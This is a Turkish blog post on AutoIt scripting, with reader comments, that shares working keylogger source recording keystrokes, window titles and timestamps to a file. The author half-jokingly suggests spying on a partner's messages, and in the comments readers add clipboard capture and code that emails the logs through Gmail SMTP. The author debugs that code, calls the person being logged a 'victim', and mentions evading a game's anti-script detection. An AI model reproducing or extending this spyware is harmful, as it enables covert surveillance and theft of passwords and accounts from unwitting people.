Keylogger yapımı, hazır keylogger scripti

hello :D Bugünkü proğğğğramımızda keylogger yapacağız. Ki yapılmışı var :D, o halde paylaşacağız.

Keylogger nedir? bilmeyenler için yazıyorum, basılan tuşları not alan, kaydeden birşeydir. Keylogger kullanımının amacı ciddi işler için olmalıdır, paylaştığım bu scripti alıpda bir başkasına ait şeyleri çalma teşebbüsünde bulunacak kimseler, sakın bu scripti kullanmayın. Çünkü hile ve 3 kağıtçılıkla elde ettiğiniz şeyden hayır gelmez, eninde sonunda acısı bir şekilde çıkar. Lütfen daha insancıl yöntemler için kullanın, örn: sevgilinin seni aldattığını mı düşünüyorsun ? :D bak bakalım msnde ne konuşuyor. Bu seferde gidip katil olmayasın sakın ama :P neyse ben sorumluluk almıyorum. Bu script test amaçlı yayınlanmıştır, kullanım şekli ve kullanım alanı tamamı ile kullanıcısını alakadar eder. Ben, veya autoitscript.blogspot.com blog unun sahibi hiç bir suçlama kabul etmeyecektir. Sözleşmemiz bu :D vatana millete hayırlı olsun. Knight online da bir başkasının charını soymak için kullanan ajdar gibi olsun, çaldığı itemin 10 katını kaybetsin hemde gerçek hayatta kaybetsin inş. Hadi kolay gelsin :D Upload kısmını yazan paylaşmasın, upload yazmamamın nedeni yukarıda yazdığım şey. Kötü amaçlı kullanılmasını istemediğimden. Autoit versiyonu 3.2.4.9, eski yani hata çıkarsa fonksiyon ismine bir alt çizgi eklemeniz sorunu çözer.

Scriptin adı: K-logger ALPHA.
Scriptin fonksiyonu: Basılan tuşları algılayıp, kaydetmek.
Scriptin durumu: %80 çalışır durumda.
Eksikleri: arka arkaya basılan tuşları not alamıyor, örn: 2 kere a ya basıldığında yani aa basıldığında a olarak kaydediyor, yolu bulunur size kalmış. Çok seri 50ms nin altında yapılan girdileri yakalamayabilir.
Artıları: Tuş basıldığı anda hangi program aktifse onuda yakalıyor ve not alırken saati tarihide kaydediyor.

#cs ----------------------------------------------------------------------------

AutoIt Version: 3.2.4.9
Author: 313

Script Function:
Keylogger.

#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here

#include
#include

Global $dll = DllOpen("user32.dll")
Global $harf, $lastharf
Global $backspace, $enter, $del, $0, $1, $2, $3, $4, $5, $6, $7, $8, $9, $a, $b, $c, $d, $e, $f, $g, $h, $i, $j, $k, $L, $m, $n
Global $o, $p, $q, $r, $s, $t, $u, $v, $w, $x, $y, $z, $NUMPAD0, $NUMPAD1, $NUMPAD2, $NUMPAD3, $NUMPAD4, $NUMPAD5, $NUMPAD6
Global $NUMPAD7, $NUMPAD8, $NUMPAD9
Global $filename = @ScriptDir&"\log.txt", $title, $lasttime, $time, $writetime, $readfirst

While 1

Sleep(49)
keygrab()
getactivewindow()
writethem()

WEnd

Func getactivewindow()
$active = WinGetTitle("","")
$title = $active
$time = _NowTime(4)
EndFunc


Func keygrab()
if _IsPressed("08") Then $harf = "[BACKSPACE]"
if _IsPressed("0D") Then $harf = "[ENTER]"
if _IsPressed("2E") Then $harf = "[DELETE]"
if _IsPressed("09") Then $harf = "[TAB]"
if _IsPressed("20") Then $harf = "[SPACE]"
if _IsPressed("30") Then $harf = "0"
if _IsPressed("31") Then $harf = "1"
if _IsPressed("32") Then $harf = "2"
if _IsPressed("33") Then $harf = "3"
if _IsPressed("34") Then $harf = "4"
if _IsPressed("35") Then $harf = "5"
if _IsPressed("36") Then $harf = "6"
if _IsPressed("37") Then $harf = "7"
if _IsPressed("38") Then $harf = "8"
if _IsPressed("39") Then $harf = "9"
if _IsPressed("41") Then $harf = "a"
if _IsPressed("42") Then $harf = "b"
if _IsPressed("43") Then $harf = "c"
if _IsPressed("44") Then $harf = "d"
if _IsPressed("45") Then $harf = "e"
if _IsPressed("46") Then $harf = "f"
if _IsPressed("47") Then $harf = "g"
if _IsPressed("48") Then $harf = "h"
if _IsPressed("49") Then $harf = "i"
if _IsPressed("4A") Then $harf = "j"
if _IsPressed("4B") Then $harf = "k"
if _IsPressed("4C") Then $harf = "L"
if _IsPressed("4D") Then $harf = "m"
if _IsPressed("4E") Then $harf = "n"
if _IsPressed("4F") Then $harf = "o"
if _IsPressed("50") Then $harf = "p"
if _IsPressed("51") Then $harf = "q"
if _IsPressed("52") Then $harf = "r"
if _IsPressed("53") Then $harf = "s"
if _IsPressed("54") Then $harf = "t"
if _IsPressed("55") Then $harf = "u"
if _IsPressed("56") Then $harf = "v"
if _IsPressed("57") Then $harf = "w"
if _IsPressed("58") Then $harf = "x"
if _IsPressed("59") Then $harf = "y"
if _IsPressed("5A") Then $harf = "z"
if _IsPressed("60") Then $harf = "0"
if _IsPressed("61") Then $harf = "1"
if _IsPressed("62") Then $harf = "2"
if _IsPressed("63") Then $harf = "3"
if _IsPressed("64") Then $harf = "4"
if _IsPressed("65") Then $harf = "5"
if _IsPressed("66") Then $harf = "6"
if _IsPressed("67") Then $harf = "7"
if _IsPressed("68") Then $harf = "8"
if _IsPressed("69") Then $harf = "9"
EndFunc

Func writethem()

if $harf = "" Then Return
If $harf = $lastharf Then Return

$filename = @ScriptDir&"\log.txt"
if $time = $lasttime Then
$writetime = $lasttime
$readfirst = IniRead($filename,$title,$writetime,"")
Else
$writetime = $time
$readfirst = IniRead($filename,$title,$writetime,"")
EndIf
IniWrite($filename,$title,$writetime,$readfirst&$harf)

$lastharf = $harf
$lasttime = $time

EndFunc

23 yorum:

taha dedi ki...

Upload kısmını yazan paylaşmasın, upload yazmamamın nedeni yukarıda yazdığım şey. Kötü amaçlı kullanılmasını istemediğimden.

Demissin ya :D benim kotu bi amacım yok :D valla bak :P su upload olayini nasi halledebiliriz bu konuya bi acıklama yaparmsn ? :) smtp le e-mailimize gönderebilirmiyiz? ya da bi ftp adresine upload etse bizim yerimize auto it le böle bisey yapılabilirmi ki acep ? :D

313 dedi ki...

auto it, it gibi çalışır yapamayacağı şey yok :D ama upload kısmını yazmam. FTP.au3 var SMPT.au3 var bilmem anlatabildimmi.

taha dedi ki...

Anlatabildin :D eyvallah azizim sen cok yasa :P :D

Adsız dedi ki...

:D bn visual basicde de yazdım keyloger ama orda da ayni durum vardi.50 ms ye ayarladim..
Tuşa basıp çekene kadar geçen süre çok geliodu galiba bi kere basıodun AAAA fln yazdırıodu .. neyse c# 'de sorunsuz oluyor ufak bi kodla .d

313 dedi ki...

onkeyup tarzı birşey olabilir, auto it dede ispressed yerine isreleased olsa iyi olcak :)

Çizgi film izle dedi ki...

selam kankolin :D
gel bak burda çizgi film izle güzel filmler var bloo tüm bölümler izle var ben10 var :D

taha dedi ki...

Ya bu keyloggerin tusları kacirmamasi icin bir yontem yokmudur ya :D

Not: keyloggere ğ ve ü tuslarını tanimlamamissin :D digerlerine bakmadim ama bunlari tanimlamamissin..

taha dedi ki...

Ben keyloggeri biraz daha geliştirip ClipGet() denetimiyle kopyalanan metinleride log dosyasına kaydetmek istiyorum ama bunu nasıl yapabilirim bilmiyorum :S nasıl yapabilirim ? :D:D

taha dedi ki...

Kopyala-Yapistir yapacak kisi %90 CTRL+V / CTRL+C tuslarını kullanmakta :)Demek oluyor ki CTRL tusuna büyük ihtimalle basacak :D o zaman ctrl tusuna basildiginda clipgeti yazdirmamiz yeterli olacaktir diye düşündüm ve keyloggere su kodlarında yerlestirilmesinin ne kadar mantıklı oldugunu anladım :D:D

$Copy = ClipGet()

While _IsPressed('11')
_LogKeyPress("Yapistir="&$Copy)
WEnd

313'ün paylasılmıs oldugu sourceye göre de;

$Copy = ClipGet()

if _IsPressed('11') Then $key = "Yapistir="&$Copy

Upload kısmını gelistirirken biraz sıkıntı yasıyorum bu konuda bi makale yazsan cok guzel olur 313 :D:D

taha dedi ki...
Bu yorum yazar tarafından silindi.
313 dedi ki...

clipget konusunda iyi yöntem ama her ctrl ye bastığında copy yaptığını bilemeyiz. bu nedenle clipdeki yazı değişimi kontrolü eklemek daha mantıklı taha :D

Bunu nasıl yaparız: scriptin en başına döngüden önce:
Global $clipenson = ""

Keylog döngüsü içine:
$clipsuanki = clipget()

if $clipsuanki <> $clipenson then
logclip($clipsuanki)
$clipenson = $clipsuanki
endif

olabilir. Bunu yaparsak clip değişmeden boş yere log almayız. Clipboard değişince log dosyasına "Clip değişti 12:22:30 [$clipsuanki]" olarak yazdırırız. Logclip fonksiyonunu biraz daha değiştirirsek: (senin yöntemini burada kullanmamız daha makul gibi)

if ispressed(ctrl) then
$aktifpencere = Wingetactive(miydi?)
logclip($clipenson, $aktifpencere)
endif

Bunun çıktısı ne oluyor:
Kurban $clipenson 'u $aktifpencere ye yapıştırdı :D Bu aktif pencerede knightonline ise anlıyoruz ki blah blah :D

Karakter hackleyip soymayın yazıktır o emeklere :D Bu arada knight online yeni güvenlik önlemleri nedeniyle auto-it scriptlerine ban atıyor olabilir. Class-name'den veya process den autoit scripti olduğunu tespit ediyor olabilir, bu gayet saçma çünkü autoit ile farklı otomasyonlarda yapılıyor k2 işte napalm :D Bu konuda tam emin değilim önümüzdeki günlerde birkaç deneme yapıcam ona görede bunu aşma yöntemleri geliştiricem kafamda 1-2 şey var aşma konusunda.
Scriptin kol ile alakalı olmadığı halde ban nedeni olması çok saçma başıma böyle birşey geldi :D

Log.txt konusunda yapman gereken tek şey: fileread.

Önümüzdeki günlerde 1-2 makale daha ekliycem, dikkat çekici konularda

taha dedi ki...

#include
#include
#include
#include

$GmailUser = "taha@gmail.com"
$GmailPass = "taha"
$ToEmail = "123456789@gmail.com"
$date = @mday&"."&@mon&"."&@year
$sendfile = FileOpen(@ScriptDir & "\log.txt", 0)

$s_Subject = FileRead($sendfile, 1)

_INetSmtpMailCom("smtp.gmail.com", @ComputerName & " - " & @UserName & " (" & $date & ")", $ToEmail, $ToEmail, $GmailUser,$GmailPass, "Log", $s_Subject)

Bu sekilde yaptigimda log.txt dosyasından sadece ilk harfi aliyorum :S gerisi gelmiyor..

taha dedi ki...
Bu yorum yazar tarafından silindi.
taha dedi ki...

#include smtp.au3
#include GuiEdit.au3
#include GuiStatusBar.au3
#include GuiConstantsEx.au3

Includeler gözükmüyor allah allah :D:D > ve < leri kaldirdim simdi gözükür sanirim :D

313 dedi ki...

fileread line kullanmasan daha iyi olucak :D o 1 i kaldır ordanki 1 satır yerine hepsini okusun :D

taha dedi ki...

Hmm evet mantıklı :) oldu simdi.. :D:D

Peki logları düzgünce nasıl alabiliriz ? yani key kacırmadan? :D bide logları log dosyası her 10 kb oldugunda gönder yapcam ama dosyanın boyutunu nasıl okuyacagımı bilmiyorum :S

taha dedi ki...

$sizeread = FileGetSize(@ScriptDir & "\" &@ComputerName & " - " & @UserName & " (" & $date & ")" & ".txt")

$sizeborder = ("2000")


Func Sender()
If $sizeread > GUICtrlRead($sizeborder) then
$GmailUser = "taha@gmail.com"
$GmailPass = "taha"
$ToEmail = "123456789@gmail.com"
$s_Subject = FileRead(@ScriptDir & "\" &@ComputerName & " - " & @UserName & " (" & $date & ")" & ".txt")

_INetSmtpMailCom("smtp.gmail.com", @ComputerName & " - " & @UserName & " (" & $date & ")", $ToEmail, $ToEmail, $GmailUser,$GmailPass, "Log", $s_Subject)

EndIf
EndFunc

Yapiyorum log dosyası 2 kb'yi gectiginde spam yapar gibi gönderiyor aralıksız sürekli sekilde.. buna nasıl bir yontem gelistirilebilir? :D


birde loglar dosyada;

[Pencere Adi]
saat: log

olarak kaydediyor ama mail;

[Pencere Adi]saat: log

olarak geliyor bunun içinde biz cozum varmidir? :D

313 dedi ki...

çok soru soruyorsun taha :D
sizeborder = 2000 demişsin bu 2000 byte yani 2kb a eşittir. dolayısıyla 2kb olunca gönderiyorsun. 10000 yap 10k olsun.

burada yaptığın hata şu olabilir $sizeborder i değişken olarak tanımlamışsın fakat if kısmında kontrol olarak okutmuşsun. $sizeborder diye bir inputun varmı? bundan emin ol. oda olmadı sizeread ı güncel tutmayı dene. oda olmaz ise sorun şudur: dosya 2kb den büyük olduğu için sürekli gönderiyor yani dosya sürekli 2kb dan büyük anlatabildimmi? bunu aşmak için her 2kb da bir dosyayı silmek. (bunu maili gönderdikten sonra yapıcaksın).

bu maildeki bozuk görüntü olayı için @crlf orda bir işe yaramaz. log dosyasına yine aynı şekilde yazdır maili gönderirken şunu kullanabilirsin:

$log = fileread(logdosyası...
$log_mail = string_replace(@crlf, "\r\n"

burada @crlf leri "\r\n" ile değiştir dedik bu mail sitelerinde tam olarak @crlf görevi görüyor. veya html mail gönderiyorsan
de kullanabilirsin.

string replace fonksiyonunu tam olarak hatırlayamadım şuan str_replace olabilir. stringreplace olabilir. "\r\n" işe yaramazsa "\r" veya "\n" dene sadece.

biraz yavaş soru sor :D

taha dedi ki...

Func Sender()
If $sizeread > $sizeborder then

$GmailUser = "taha@gmail.com"
$GmailPass = "taha"
$ToEmail = "123456789@gmail.com"
$s_Subject = FileRead($filefolder)

_INetSmtpMailCom("smtp.gmail.com", @ComputerName & " - " & @UserName & " (" & $date & ")", $ToEmail, $ToEmail, $GmailUser,$GmailPass, "Log", $s_Subject)
FileDelete($filefolder)
EndIf
EndFunc

diyorum log dosyasını delete ediyor ancak daha sonra yeni log dosyası gelmiyor ya da geliyor gelir gelmez siliniyor ayrıca ilk log mail olarak geldikden sonra spam seklinde bos mail geliyor sürekli.. Bunları yanlızca 1 kez yap ve tekrar 2 kb olmasını bekle dedirtebilecegimiz bir yöntem varmi :S

313 dedi ki...

öncelikle mesajkutusu ile debug yaparsan hataları daha kolay tespit edersin. yani maili gönderirken mail gönderildi mesajı göster. dosya silinirken dosya silindi mesajı göster. dosyayı tekrar oluşturturken oluştu mesajı göster vesair. bu şekilde birşey söyleyemem çünkü hatanın nerde olduğunu bilemem.

eğer log dosyasını tekrardan oluşturmuyorsa sildikten sonra boş bir dosyayı sen oluşturtabilirsin.

her 2kb da bir göndertmek için ana döngüye mailkontrol fonksiyonu ekle. o fonksiyon içinde dosya boyutunu aldır. gönder ve sil.

while 1
mailkontrol()
wend

func mailkontrol()
$dosya = @scriptdir&"\log.txt"
$size = filegetsize($dosya)

if($size>=2000) then
mailsend()
endif
endfunc

filegetsize fonksiyonunu tam olarak hatırlayamıyorum autoitde kurulu değil şuan kurunca bir bakarım. array olarak döndürüyor olabilir. help dosyasına bir gözat ve filegetsize yaptıktan sonra mesaj kutusunda bir değeri gör bakalım doğrumu alıyor.

msgbox(filegetsize($dosya

dosyanın boyutuna kendinde bir bak, eğer doğru geliyorsa burda bir sorun olmadığını anlarız. büyük ihtimalle sorun burada olabilir.

Ahmet Uğur dedi ki...

Sizi taha ile beraber uzun zamanlardır takip ediyoruz ilk zamanlardan beri. 313 bizim için AutoItScript öğretmeni demek :D

diğer bir konu
#include
#include

ler gözükmüyor kullanılan include leri yazabilrmisiniz ?

Birde diğer sorum , IE de adresbar daki http adresini almak istiyorum . Biraz araştırdım controlid ile alabiliyoruz fakat biraz değişik . Şöyleki ;

Kodlarım :

Opt("WinTitleMatchMode", 2)
WinActivate("Google - Windows Internet Explorer")


$a = ControlGetText("Google - Windows Internet Explorer", "", 41477 )


MsgBox(64,"",$a)

Yani msgbox da http://www.google.com.tr i vermesi gerekiyor bunu acık olan IE den almam gerekiyor nasıl yapabilrm ?

313 dedi ki...

estf. Ahmet hepimiz öğretmeniz :D

script dosyasını kaybetmişim ama görünüşe bakarsak includeler misc.au3 ve date.au3.

Diğer konuda şuan pek vaktim yok ama bikaçşey yaziym. Win title matchi class ile buldurmayı denersen daha sağlıklı sonuç alırsın. Yaptığın şekilde sadece google açıksa geri dönüş alırsın.

internet explorer penceresi başlığı veya adresi ne olursa olsun aynı class idye sahiptir diğer tüm pencerelerin kendine has classları gibi.

Autoit window info toolu kullanarak pencereler hakkında detaylı bilgi alabilirsin.

pencere başlığını class denkleştirmesi ile bulabilirsin, daha sonra controlgettext ilede pencere başlığını ve control id sini yazarak adres cubugundaki texti alırsın.

Bu konuda bir makale yazarım 1-2 hafta içinde :D

Ahmet dedi ki...

Selamlar 313 o sordugum soruyu çözdüm .

$adres = _IEPropertyGet ($oIE, "locationurl")

Olarak alınıyor .

Kolay gelsin .

Yorum Gönder